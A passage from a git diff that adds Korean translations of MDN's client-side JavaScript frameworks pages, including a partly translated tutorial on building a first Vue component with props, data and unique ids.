+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">7. Vue 조건부 렌더링: 이미 존재하는 todo 항목 편집</a></dt>
+ <dd>이제 우리가 아직 놓치고 있는 주요 기능 중 한 기능의 주요한 부분 중 하나를 추가 할 차례입니다. 이를 위해 Vue의 조건부 렌더링 기능 <code>v-if</code> 와 <code>v-else</code> 를 활용하여, 이미 존재하는 todo 항목 view 와 todo 항목 레이블을 업데이트 할 수 있는 편집 view 간에 전환할 수 있습니다. 또한 todo 항목들을 삭제하는 기능을 추가하는 방법도 살펴봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">8. Vue refs를 통한 포커스 관리</a></dt>
+ <dd>이제 거의 다 만들었습니다. 마지막으로 살펴볼 기능은 포커스 관리와 앱의 키보드 접근성을 향상시키는 방법입니다. Vue refs를 사용하여 이를 처리하는 방법을 살펴보겠습니다. ref는 가상 DOM 아래의 기본 DOM 노드에 직접 접근하거나 한 컴포넌트에서 하위 컴포넌트의 내부 DOM 구조로 직접 접근할 수 있는 고급 기능입니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">9. Vue resources</a></dt>
+ <dd>이제 Vue에 대한 학습을 마무리 할 것입니다. 학습을 진행하는데 사용할 수 있는 리소스 목록과 유용한 팁이 있습니다.</dd>
+</dl>
+
+<h2 id="Svelte_tutorials">Svelte tutorials</h2>
+
+<div class="blockIndicator note">
+<p><strong>참조</strong>: Svelte 3.24.1 을 사용하여 2020년 8월에 마지막으로 테스트된 튜토리얼입니다.</p>
+
+<p>코드를 우리 버전과 비교하여 확인해야 하는 경우, <a href="https://github.com/opensas/mdn-svelte-tutorial">mdn-svelte-tutorial</a> repo에서 각각의 문서 뒤에 있어야 하는 샘플 Svelte 앱 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면 Svelte REPL 을 참조하세요 <a class="external external-icon" href="https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2" rel="noopener">https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2</a>.</p>
+</div>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">1. Svelte 시작하기</a></dt>
+ <dd>이 문서에서는 <a class="external external-icon" href="https://svelte.dev/" rel="noopener">Svelte framework</a>에 대한 간략한 소개를 제공합니다. Svelte의 작동 방식과 지금까지 살펴본 나머지 프레임워크 및 도구와 차별화되는 점을 살펴보겠습니다. 그 다음 개발 환경 구성하기, 샘플 앱 만들기, 프로젝트 구조 이해하기, 로컬에서 실행하기와 프로덕션 용으로 빌드하는 방법을 알아보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">2. Svelte Todo list app 시작하기</a> </dt>
+ <dd>이제 Svelte가 작동하는 방식에 대한 기본적인 이해를 마쳤으므로, 예제 앱(todo list) 빌드를 시작하겠습니다. 이 문서에서는 먼저 앱에서 구현해야할 기능을 살펴보고, 그 다음 <code>Todos.svelte</code> 컴포넌트를 만들어 정적 마크업과 스타일을 배치합니다. 그리고 To-Do list 앱 기능 개발을 시작할 준비를 합니다. 이 내용은 다음 문서에서 계속 설명하겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">3. Svelte의 동적 동작: 변수와 props 작업</a></dt>
+ <dd>이제 마크업과 스타일이 준비되었으므로 Svelte To-Do list 앱에 필요한 기능 개발을 시작할 수 있습니다. 이 문서에서는 변수와 props를 사용하여 앱을 동적으로 만듭니다. 할일(todo)을 추가하거나 삭제하고, 완료로 표시하고, 상태별로 필터링 할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">4. Svelte app 컴포넌트화</a></dt>
+ <dd>이 문서의 핵심 목표는 앱을 관리 가능한 컴포넌트로 나누고, 이들간에 정보를 공유하는 방법을 살펴 보는 것입니다. 앱을 컴포넌트화 하고 기능을 추가하여 기존 컴포넌트를 업데이트 할 수 있도록 합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">5. 향상된 Svelte: 반응성, 생명주기, 접근성</a></dt>
+ <dd>이 문서에서는 앱의 최종 기능을 추가하고 앱을 더욱 컴포넌트화 합니다. 객체와 배열의 업데이트와 관련된 반응성(reactivity) 이슈를 처리하는 방법을 배웁니다. 일반적인 함정을 피하기 위해 우리는 Svelte의 반응성 시스템을 좀 더 깊이 공부해야 합니다. 또한 접근성(accessibility ) 관련 이슈를 비롯해 좀 더 많은 내용을 해결하는 방법도 살펴보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">6. Svelte stores 사용하기</a></dt>
+ <dd>이 문서에서는 Svelte에서 상태 관리를 처리하는 또 다른 방법을 보여줍니다. <a class="external external-icon" href="https://svelte.dev/tutorial/writable-stores" rel="noopener">스토어(Stores</a>). 스토어는 값을 갖고있는 글로벌 데이터 저장소입니다. 컴포넌트는 스토어를 구독하고 값이 변경되면 알림을 받을 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">7. Svelte의 타입스크립트 지원</a></dt>
+ <dd>이제 Svelte 애플리케이션에서 타입스크립트를 사용하는 방법을 배웁니다. 먼저 타입스크립트가 무엇이며 어떤 이점이 있는지 알아봅니다. 그 다음 타입스크립트 파일과 함께 작동하도록 프로젝트를 구성하는 방법을 살펴봅니다. 마지막으로 앱을 검토하여 타입스크립트 기능을 최대한 활용하기 위해 어떤 수정을 해야 하는지 살펴보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">8. 배포(Deployment)와 다음단계</a></dt>
+ <dd>이 마지막 문서에서는 애플리케이션을 배포하고 온라인으로 가져오는 방법을 살펴봅니다. 또한 Svelte 학습 여정을 계속하기 위해 알아야 할 몇 가지 리소스를 공유합니다. </dd>
+</dl>
+
+<h2 id="Which_frameworks_did_we_choose">Which frameworks did we choose?</h2>
+
+<p>우리는 React/ReactDOM, Ember, Vue의 세 가지 주요 프레임워크에 초점을 맞춘 가이드와 시작하는 글 모음을 함께 게시하고 있습니다. 여기에는 여러가지 이유가 있습니다.</p>
+
+<ul>
+ <li>이것들은 잠시동안 인기가 있습니다. 다른 소프트웨어 툴과 마찬가지로 다음주에도 중단되지 않고 적극적으로 개발 되는 도구를 선택하고 유지하는것이 좋습니다. 또한 이것은 구인할 때에도 바람직하게 작용할 겁니다.</li>
+ <li>이들은 강력한 커뮤니티와 좋은 문서를 갖고 있습니다. 복잡한 주제를 배우는 데 도움을 얻을 수 있다는 것이 특히 중요하고, 처음시작하는 경우라면 더욱 그렇습니다.</li>
+ <li>우리는 모든 최신 프레임 워크를 다룰 수 있는 리소스가 없습니다. 새로운 목록이 항상 표시되므로 이 목록을 최신 상태로 유지하기가 매우 어려울 수 있습니다.</li>
+ <li>초심자로서 매우 많은 선택지 중 집중할 것을 선택하는 것은 매우 현실적인 문제입니다. 따라서 목록을 짧게 유지하는것이 좋습니다.</li>
+</ul>
+
+<p>우리는 이것을 미리 말하고 싶습니다. 위 프레임워크들이 최고라고 생각하거나 어떤 식으로든 보증되기 때문에 선택하지 않았습니다. 우리는 단지 이 프레임워크들이 위의 기준에서 높은 점수를 얻었다고 생각합니다.</p>
+
+<p>이 글을 처음 게시할 때 더 많은 프레임워크가 포함되기를 원했지만, 더 오래 지연시키지 않고 내용을 릴리즈 한 다음에 나중에 프레임워크 가이드를 더 추가하기로 결정했습니다. 이 컨텐츠에 좋아하는 프레임워크가 표시되지 않았고, 이를 변경하고 싶다면 언제든지 저희와 논의하시기 바랍니다. <a href="https://wiki.mozilla.org/Matrix">Matrix</a>나 <a href="https://discourse.mozilla.org/c/mdn">Discourse</a>를 통해 연락하거나 <a href="mailto:mdn-admins@mozilla.org">mdn-admins list</a>로 메일을 보내셔도 됩니다.</p>
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html
new file mode 100644
index 0000000000..2b2e70e8f6
--- /dev/null
+++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html
@@ -0,0 +1,384 @@
+---
+title: 첫 번째 Vue 컴포넌트 만들기
+slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component
+translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div>
+
+<p class="summary">이제 Vue에 대해 더 자세히 알아보고 직접 커스텀 컴포넌트를 만들어 볼 시간입니다. 먼저,  Todo 리스트의 각 항목을 표현하는 컴포넌트를 만들어 보면서 몇 가지 중요한 개념을 배우겠습니다. 컴포넌트 내부에서 다른 컴포넌트 호출하기, props를 통해 데이터 넘겨주기, 데이터 상태 저장하기 등을 배울 것입니다. </p>
+
+<div class="blockIndicator note">
+<p class="summary"><strong>Note</strong>: 필요하다면 <a href="https://github.com/mdn/todo-vue">todo-vue repository</a> 에서 최종 샘플 앱 코드를 확인할 수 있습니다. 완성된 앱의 모습은 <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>을 참고하세요.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 요구 사항:</th>
+   <td>
+    <p>코어 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>과 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>에 익숙함, <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>에 대한 지식</p>
+
+    <p>Vue 컴포넌트는 앱의 데이터를 관리하는 JavaScript 객체와 기본 DOM 구조에 매핑되는 HTML 기반 템플릿 구문을 조합해 작성된다. Vue를 설치하고 고급 기능(예: 단일 파일 컴포넌트, render 함수 등)을 사용하려면 node + npm이 설치된 터미널이 필요하다.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>Vue 컴포넌트를 생성하는 법을 배운다. 컴포넌트를 다른 컴포넌트 내부에 render하는 방법, props를 이용해 데이터를 전달하는 방법과 상태를 저장하는 방법을 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="ToDoItem_컴포넌트_만들기">ToDoItem 컴포넌트 만들기</h2>
+
+<p>각각의 할 일 항목 (To-Do Item)을 표시해줄 첫 번째 컴포넌트를 작성해봅시다. 이 항목이 모여서 Todo List가 될 것입니다.</p>
+
+<ol>
+ <li><code>moz-todo-vue/src/components</code> 디렉토리 안에  <code>ToDoItem.vue</code>라는 이름으로 파일을 생성하고, 에디터에서 파일을 열어주세요.</li>
+ <li>파일 상단에 <code>&lt;template&gt; &lt;/template&gt;</code> 태그를 추가해 컴포넌트의 템플릿 섹션을 만들어주세요.</li>
+ <li>템플릿 섹션 밑에 <code>&lt;script&gt;&lt;/script&gt;</code> 섹션을 생성하세요.  <code>&lt;script&gt;</code> 태그 안에 default export 오브젝트 <code>export default {}</code>를 추가하세요. 이것이 바로 우리가 만들고 있는 컴포넌트 오브젝트입니다.</li>
+</ol>
+
+<p>여기까지 잘 따라하셨다면 <code>ToDoItem.vue</code> 파일이 아래와 같은 형태가 됩니다.</p>
+
+<pre class="brush: html notranslate">&lt;template&gt; &lt;/template&gt;
+&lt;script&gt;
+  export default {};
+&lt;/script&gt;</pre>
+
+<p>이제 <code>ToDoItem</code>에 내용을 추가해보겠습니다. Vue 2의 템플릿은 단일 루트 엘리멘트만을 허용합니다. 즉, 템플릿 섹션 안의 모든 것을 포함하는 하나의 엘리멘트가 존재해야 합니다.  (Vue 3에서는 다중 루트 엘리멘트를 지원합니다!) 여기서는 <code><a href="/en-US/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> 를 루트 엘리멘트로 지정하겠습니다.</p>
+
+<ol>
+ <li>
+  <p>우선 템플릿 섹션에 빈 <code>&lt;div&gt;</code> 를 추가하세요.</p>
+ </li>
+ <li>
+  <p><code>&lt;div&gt;</code> 안에 체크박스와 레이블을 추가해보겠습니다. 아래와 같이 체크박스에 <code>id</code> 를 추가하고, 체크박스 id를 레이블에 매핑하는 <code>for</code> 속성을 추가합니다.</p>
+
+  <pre class="brush: html notranslate">&lt;template&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="todo-item" checked="false" /&gt;
+    &lt;label for="todo-item"&gt;My Todo Item&lt;/label&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+ </li>
+</ol>
+
+<h3 id="앱_안에서_TodoItem_컴포넌트_사용하기">앱 안에서 TodoItem 컴포넌트 사용하기</h3>
+
+<p>아주 잘 하고 있어요. 그런데 아직 우리 앱에 컴포넌트를 추가하지 않았기 때문에 잘 작동하는지 테스트할 방법이 없네요. 이제 앱에 컴포넌트를 등록해봅시다. </p>
+
+<ol>
+ <li>
+  <p><code>App.vue</code> 파일을 다시 열어주세요.</p>
+ </li>
+ <li>
+  <p><code>&lt;script&gt;</code> 태그 상단에 다음을 추가해 <code>ToDoItem</code> 컴포넌트를 임포트하세요:</p>
+
+  <pre class="brush: js notranslate">import ToDoItem from './components/ToDoItem.vue';</pre>
+ </li>
+ <li>
+  <p>컴포넌트 오브젝트 내부에 <code>components</code> 속성을 추가하고, 여기에 <code>ToDoItem</code> 컴포넌트를 등록하세요.</p>
+ </li>
+</ol>
+
+<p>이제 <code>&lt;script&gt;</code> 내부가 이런 모양이 되었을 것입니다.</p>
+
+<pre class="brush: js notranslate">import ToDoItem from './components/ToDoItem.vue';
+
+export default {
+  name: 'app',
+  components: {
+    ToDoItem
+  }
+};</pre>
+
+<p>이전글에서 Vue CLI가 <code>HelloWorld</code> 컴포넌트를 등록했던 것과 같은 방식입니다. </p>
+
+<p><code>ToDoItem</code> 컴포넌트를 앱에 실제로 렌더링하려면 <code>&lt;template&gt;</code> 태그 안에서 <code>&lt;to-do-item&gt;&lt;/to-do-item&gt;</code> 요소를 사용해야 합니다. JavaScript에서 컴포넌트 파일의 이름과 그 표현은 항상 어퍼카멜케이스(e.g. <code>ToDoList</code>)를 사용하며, 해당 커스텀 엘리멘트는 하이픈으로 연결된 소문자(e.g. <code>&lt;to-do-list&gt;</code>)로 표현합니다.</p>
+
+<ol>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements">&lt;h1&gt;</a></code> 아래에 리스트 아이템(<code><a href="/en-US/docs/Web/HTML/Element/li">&lt;li&gt;</a></code>)을 포함하는 비정렬 리스트(<code><a href="/en-US/docs/Web/HTML/Element/ul">&lt;ul&gt;</a></code>)를 생성합니다.</li>
+ <li>리스트 아이템 안에 <code>&lt;to-do-item&gt;&lt;/to-do-item&gt;</code>을 추가합니다.</li>
+</ol>
+
+<p><code>App.vue</code> <code>&lt;template&gt;</code> 은 아래와 같은 모양이 될 것입니다. </p>
+
+<pre class="brush: html notranslate">&lt;div id="app"&gt;
+  &lt;h1&gt;To-Do List&lt;/h1&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;to-do-item&gt;&lt;/to-do-item&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<p>렌더링된 앱을 다시 확인해보면 체크박스와 레이블로 구성된 <code>ToDoItem</code> 이 보일 것입니다.</p>
+
+<p><img alt="The current rendering state of the app, which includes a title of To-Do List, and a single checkbox and label" src="https://mdn.mozillademos.org/files/17243/rendered-todoitem.png" style="border-style: solid; border-width: 1px; display: block; height: 142px; margin: 0 auto; width: 385px;"></p>
+
+<h2 id="props를_사용해_컴포넌트를_동적으로_만들기">props를 사용해 컴포넌트를 동적으로 만들기</h2>
+
+<p>현재 상태로는 <code>ToDoItem</code> 컴포넌트를 한 페이지에 한 번만 표시할 수 있고(고유 ID가 있어야 함) 레이블 텍스트를 설정할 방법도 없습니다. 동적인 요소가 전혀 없는 상태입니다. </p>
+
+<p>컴포넌트를 동적으로 만들기 위해서는 컴포넌트의 state(상태)가 필요합니다. 컴포넌트에 props를 추가해 컴포넌트에 상태를 부여할 수 있습니다. props를 함수의 입력이라고 생각하면 이해가 쉬울 것입니다. props 값은 컴포넌트에 초기 상태(initial state)를 부여합니다.</p>
+
+<h3 id="props_등록하기">props 등록하기</h3>
+
+<p>Vue에서는 props를 등록하는 방법이 두 가지 있습니다.</p>
+
+<ul>
+ <li>첫 번째 방법은 단순히 문자열 어레이로 props를 나열하는 것입니다. 어레이의 각 항목은 각 prop의 이름이 됩니다. </li>
+ <li>두 번째 방법은 props를 오브젝트로 정의하는 것입니다. 각각의 키가 prop의 이름이 됩니다. 이렇게 props를 오브젝트로 나열하면 기본값을 지정할 수 있고, 해당 prop이 필수값인지 표시할 수 있고, 기본적인 오브젝트 타이핑(특히 JavaScript 원시 타입에 대해)과 간단한 prop 유효성 검증을 할 수 있습니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: prop의 유효성 검증은 개발 모드에서만 이루어지기 때문에, 상용에서는 이것에 의존해서는 안됩니다. 그리고 이 prop 검증 기능은 컴포넌트 인스턴스가 생성되기 전에 호출되기 때문에 컴포넌트의 상태나 다른 prop에는 접근할 수 없습니다. </p>
+</div>
+
+<p>여기서는 오브젝트 등록 방식을 사용해 props를 등록해보겠습니다.</p>
+
+<ol>
+ <li><code>ToDoItem.vue</code> 파일을 열어주세요.</li>
+ <li>export <code>default {}</code> 오브젝트 안에 <code>props</code> 속성을 추가하고 빈 오브젝트를 만들어주세요.</li>
+ <li>이 오브젝트 안에 <code>label</code> 과 <code>done</code> 을 키로 사용하는 속성을 추가하세요.</li>
+ <li><code>label</code> 키의 값은 두 개의 속성을 갖는 오브젝트입니다.
+  <ol>
+   <li>첫 번째는 <code>required</code> 속성입니다. 이 속성의 값을 <code>true</code>로 지정하겠습니다. 이 컴포넌트의 모든 인스턴스가 레이블 필드를 반드시 가져야 한다는 의미입니다. 만약 <code>ToDoItem</code> 컴포넌트가 레이블 필드를 갖지 않으면 Vue가 경고해줄 것입니다.</li>
+   <li>두 번째는 <code>type</code> 속성입니다. 이 속성의 값을 JavaScript <code>String</code>(대문자 S)타입으로 설정합니다. 이렇게 하면 label prop이 스트링 값을 가질 것임을 Vue에게 알려줄 수 있습니다. </li>
+  </ol>
+ </li>
+ <li>이제 <code>done</code> prop으로 넘어가겠습니다.
+  <ol>
+   <li>먼저 <code>default</code> 필드를 추가하고, <code>false</code> 값을 지정합니다. 이것은 <code>ToDoItem</code> 컴포넌트가 <code>done</code> prop을 받지 못했을 때, 기본값으로 false를 갖는다는 의미입니다. his means that when no <code>done</code> prop is passed to a <code>ToDoItem</code> component, the <code>done</code> prop will will have a value of false(기본값을 항상 설정할 필요는 없습니다. 필수가 아닌 props에 대해서만 <code>default</code>를 지정하면 됩니다).</li>
+   <li>다음으로 <code>type</code> 필드를 추가합니다. 값은 <code>Boolean</code>으로 지정합니다. 이 prop이 JavaScript 불리언 타입을 가질 것임을 Vue에게 알려주는 것입니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>이제 컴포넌트 오브젝트는 아래와 같은 모양이 될 것입니다.</p>
+
+<pre class="brush: js notranslate">&lt;script&gt;
+  export default {
+    props: {
+      label: { required: true, type: String },
+      done: { default: false, type: Boolean }
+    }
+  };
+&lt;/script&gt;</pre>
+
+<h3 id="등록한_props_사용하기">등록한 props 사용하기</h3>
+
+<p>With these props defined inside the component object, we can now use these variable values inside our template. Let's start by adding the <code>label</code> prop to the component template.</p>
+
+<p>In your <code>&lt;template&gt;</code>, replace the contents of the <code>&lt;label&gt;</code> element with <code>\{{label}}</code>.</p>
+
+<p><code>\{{}}</code> is a special template syntax in Vue, which lets us print the result of JavaScript expressions defined in our class, inside our template, including values and methods. It’s important to know that content inside <code>\{{}}</code> is displayed as text and not HTML. In this case, we’re printing the value of the <code>label</code> prop.</p>
+
+<p>Your component’s template section should now look like this:</p>
+
+<pre class="brush: html notranslate">&lt;template&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="todo-item" checked="false" /&gt;
+    &lt;label for="todo-item"&gt;\{{label}}&lt;/label&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+
+<p>Go back to your browser and you'll see the todo item rendered as before, but without a label (oh no!). Go to your browser's DevTools and you’ll see a warning along these lines in the console:</p>
+
+<pre class="notranslate">[Vue warn]: Missing required prop: "label"
+
+found in
+
+---&gt; &lt;ToDoItem&gt; at src/components/ToDoItem.vue
+       &lt;App&gt; at src/App.vue
+         &lt;Root&gt;
+</pre>
+
+<p>This is because we marked the <code>label</code> as a required prop, but we never gave the component that prop — we've defined where inside the template we want it used, but we haven't passed it into the component when calling it. Let’s fix that.</p>
+
+<p>Inside your <code>App.vue </code>file, add a <code>label</code> prop to the <code>&lt;to-do-item&gt;&lt;/to-do-item&gt;</code> component, just like a regular HTML attribute:</p>
+
+<pre class="brush: html notranslate">&lt;to-do-item label="My ToDo Item"&gt;&lt;/to-do-item&gt;</pre>
+
+<p>Now you'll see the label in your app, and the warning won't be spat out in the console again.</p>
+
+<p>So that's props in a nutshell. Next we'll move on to how Vue persists data state.</p>
+
+<h2 id="Vue의_data_object">Vue의 data object</h2>
+
+<p>If you change the value of the <code>label</code> prop passed into the <code>&lt;to-do-item&gt;&lt;/to-do-item&gt;</code> call in your App component, you should see it update. This is great. We have a checkbox, with an updatable label. However, we're currently not doing anything with the "done" prop — we can check the checkboxes in the UI, but nowhere in the app are we recording whether a todo item is actually done.</p>
+
+<p>To achieve this, we want to bind the component's <code>done</code> prop to the <code>checked</code> attribute on the <code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code> element, so that it can serve as a record of whether the checkbox is checked or not. However, it's important that props serve as one-way data binding — a component should never alter the value of its own props. There are a lot of reasons for this. In part, components editing props can make debugging a challenge. If a value is passed to multiple children, it could be hard to track where the changes to that value were coming from. In addition, changing props can cause components to re-render. So mutating props in a component would trigger the component to rerender, which may in-turn trigger the mutation again.</p>
+
+<p>To work around this, we can manage the <code>done</code> state using Vue’s <code>data</code> property. The <code>data</code> property is where you can manage local state in a component, it lives inside the component object alongside the <code>props</code> property and has the following structure:</p>
+
+<pre class="brush: js notranslate">data() {
+  return {
+    key: value
+  }
+}</pre>
+
+<p>You'll note that the <code>data</code> property is a function. This is to keep the data values unique for each instance of a component at runtime — the function is invoked separately for each component instance. If you declared data as just an object, all instances of that component would share the same values. This is a side-effect of the way Vue registers components and something you do not want.</p>
+
+<p>You use <code>this</code> to access a component's props and other properties from inside data, as you may expect. We'll see an example of this shortly.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Because of the way that <code>this</code> works in arrow functions (binding to the parent’s context), you wouldn’t be able to access any of the necessary attributes from inside <code>data</code> if you used an arrow function. So don’t use an arrow function for the <code>data</code> property.</p>
+</div>
+
+<p>So let's add a <code>data</code> property to our <code>ToDoItem</code> component. This will return an object containing a single property that we'll call <code>isDone</code>, whose value is <code>this.done</code>.</p>
+
+<p>Update the component object like so:</p>
+
+<pre class="brush: js notranslate">export default {
+  props: {
+    label: { required: true, type: String },
+    done: { default: false, type: Boolean }
+  },
+  data() {
+    return {
+      isDone: this.done
+    };
+  }
+};</pre>
+
+<p>Vue does a little magic here — it binds all of your props directly to the component instance, so we don’t have to call <code>this.props.done</code>. It also binds other attributes (<code>data</code>, which you’ve already seen, and others like <code>methods</code>, <code>computed</code>, etc.) directly to the instance. This is, in part, to make them available to your template. The down-side to this is that you need to keep the keys unique across these attributes. This is why we called our <code>data</code> attribute <code>isDone</code> instead of <code>done</code>.</p>
+
+<p>So now we need to attach the <code>isDone</code> property to our component. In a similar fashion to how Vue uses <code>\{{}}</code> expressions to display JavaScript expressions inside templates, Vue has a special syntax to bind JavaScript expressions to HTML elements and components: <code><strong>v-bind</strong></code>. The <code>v-bind</code> expression looks like this:</p>
+
+<pre class="notranslate">v-bind:attribute="expression"</pre>
+
+<p>In other words, you prefix whatever attribute/prop you want to bind to with <code>v-bind:</code>. In most cases, you can use a shorthand for the <code>v-bind</code> property, which is to just prefix the attribute/prop with a colon. So <code>:attribute="expression"</code> works the same as <code>v-bind:attribute="expression"</code>.</p>
+
+<p>So in the case of the checkbox in our <code>ToDoItem</code> component, we can use <code>v-bind</code> to map the <code>isDone</code> property to the <code>checked</code> attribute on the <code>&lt;input&gt;</code> element. Both of the following are equivalent:</p>
+
+<pre class="brush: html notranslate">&lt;input type="checkbox" id="todo-item" v-bind:checked="isDone" /&gt;
+
+&lt;input type="checkbox" id="todo-item" :checked="isDone" /&gt;</pre>
+
+<p>You're free to use whichever pattern you would like. It's best to keep it consistent though. Because the shorthand syntax is more commonly used, this tutorial will stick to that pattern.</p>
+
+<p>So let's do this. Update your <code>&lt;input&gt;</code> element now to replace <code>checked="false"</code> with <code>:checked="isDone"</code>.</p>
+
+<p>Test out your component by passing <code>:done="true"</code> to the <code>ToDoItem</code> call in <code>App.vue</code>. Note that you need to use the <code>v-bind</code> syntax, because otherwise <code>true</code> is passed as a string. The displayed checkbox should be checked.</p>
+
+<pre class="brush: js notranslate">&lt;template&gt;
+  &lt;div id="app"&gt;
+    &lt;h1&gt;My To-Do List&lt;/h1&gt;
+    &lt;ul&gt;
+      &lt;li&gt;
+        &lt;to-do-item label="My ToDo Item" :done="true"&gt;&lt;/to-do-item&gt;
+      &lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Try changing <code>true</code> to <code>false</code> and back again, reloading your app in between to see how the state changes.</p>
+
+<h2 id="Todos에_고유_id_부여하기">Todos에 고유 id 부여하기</h2>
+
+<p>Great! We now have a working checkbox where we can set the state programmatically. However, we can currently only add one <code>ToDoList</code> component to the page because the <code>id</code> is hardcoded. This would result in errors with assistive technology since the <code>id</code> is needed to correctly map labels to their checkboxes. To fix this, we can programmatically set the <code>id</code> in the component data.</p>
+
+<p>We can use the <a href="https://www.npmjs.com/package/lodash">lodash</a> package's <code>uniqueid()</code> method to help keep the index unique. This package exports a function that takes in a string and appends a unique integer to the end of the prefix. This will be sufficient for keeping component <code>id</code>s unique.</p>
+
+<p>Let’s add the package to our project with npm; stop your server and enter the following command into your terminal:</p>
+
+<pre class="brush: bash notranslate">npm install --save lodash.uniqueid</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you prefer yarn, you could instead use <code>yarn add lodash.uniqueid</code>.</p>
+</div>
+
+<p>We can now import this package into our <code>ToDoItem</code> component. Add the following line at the top of <code>ToDoItem.vue</code>’s <code>&lt;script&gt;</code> element:</p>
+
+<pre class="brush: js notranslate">import uniqueId from 'lodash.uniqueid';</pre>
+
+<p>Next, add add an <code>id</code> field to our data property, so the component object ends up looking like so (<code>uniqueId()</code> returns the specified prefix — <code>todo-</code> — with a unique string appended to it):</p>
+
+<pre class="brush: js notranslate">import uniqueId from 'lodash.uniqueid';
+
+export default {
+  props: {
+    label: { required: true, type: String },
+    done: { default: false, type: Boolean }
+  },
+  data() {
+    return {
+      isDone: this.done,
+      id: uniqueId('todo-')
+    };
+  }
+};</pre>
+
+<p>Next, bind the <code>id</code> to both our checkbox’s <code>id</code> attribute and the label’s <code>for</code> attribute, updating the existing <code>id</code> and <code>for</code> attributes as shown:</p>
+
+<pre class="brush: js notranslate">&lt;template&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" :id="id" :checked="isDone" /&gt;
+    &lt;label :for="id"&gt;\{{label}}&lt;/label&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+
+<h2 id="정리">정리</h2>
+
+<p>And that will do for this article. At this point we have a nicely-working <code>ToDoItem</code> component that can be passed a label to display, will store its checked state, and will be rendered with a unique <code>id</code> each time it is called. You can check if the unique <code>id</code>s are working by temporarily adding more <code>&lt;to-do-item&gt;&lt;/to-do-item&gt;</code> calls into <code>App.vue</code>, and then checking their rendered output with your browser's DevTools.</p>
+
+<p><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">Now we're ready to add multiple <code>ToDoItem</code> components to our App. In our next article we'll look at adding a set of todo item data to our <code>App.vue</code> component, which we'll then loop through and display inside <code>ToDoItem</code> components using the <code>v-for</code> directive.   </span></p>
+
+<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li>
+ <li>React
